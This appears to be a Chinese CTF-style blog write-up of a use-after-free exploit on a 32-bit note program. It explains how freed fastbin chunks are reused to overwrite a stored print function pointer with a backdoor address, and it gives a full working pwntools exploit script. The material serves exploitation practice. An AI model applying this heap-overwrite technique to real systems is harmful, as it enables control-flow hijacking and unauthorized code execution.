就是日常的chunk画面

创建chunk,就是在bss段上,notelist处都是指针

申请八字节(因为是32位,所以是两个地址位宽)到指针指向处

然后第一个地址放print函数

pre_sizesize
print函数指针新申请的chunk_content

notelist + i + 1(这里的1代表一个地址位宽),读入我们输入的内容

pre_sizesize
content

删除代码块,会先free chunk_content,然后再free chunk

show。。调用print函数,因为print打印:参数+4的地方,所以此处位print(content)

攻击

因为可以找到后门函数

主要利用的就是chunk首地址处的print函数,把这个地址处给改为magic就可以了

首先我们申请两个chunk

chunk0,和chunk1

他们的content并不重要

之后依次free chunk0和chunk1

此时创建一个chunk2程序会从fastbin中给找,会依次把chunk1和chunk0作为chunk2和chunk2_content

只要我们把chunk2的content设置为magic的地址,那么chunk0的print函数指针就会被覆盖为magic

然后调用show函数打印chunk0的内容,就会调用chunk0的print(现在已经是magic了),就get shell了

from pwn import *

hollk = process('./uaf')


def addnote(size, content):
   hollk.recvuntil(":")
   hollk.sendline("1")
   hollk.recvuntil(":")
   hollk.sendline(str(size))
   hollk.recvuntil(":")
   hollk.sendline(content)


def delnote(idx):
   hollk.recvuntil(":")
   hollk.sendline("2")
   hollk.recvuntil(":")
   hollk.sendline(str(idx))


def printnote(idx):
   hollk.recvuntil(":")
   hollk.sendline("3")
   hollk.recvuntil(":")
   hollk.sendline(str(idx))

magic = 0x0804898F

addnote(32, "is the first")
addnote(32, "is the second")

delnote(0)
delnote(1)

addnote(8, p32(magic))
printnote(0)

hollk.interactive()

 

因为是本地,可以看到已经调用cat函数,但是没有找到flag文件

xiaoheshang404

a student

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注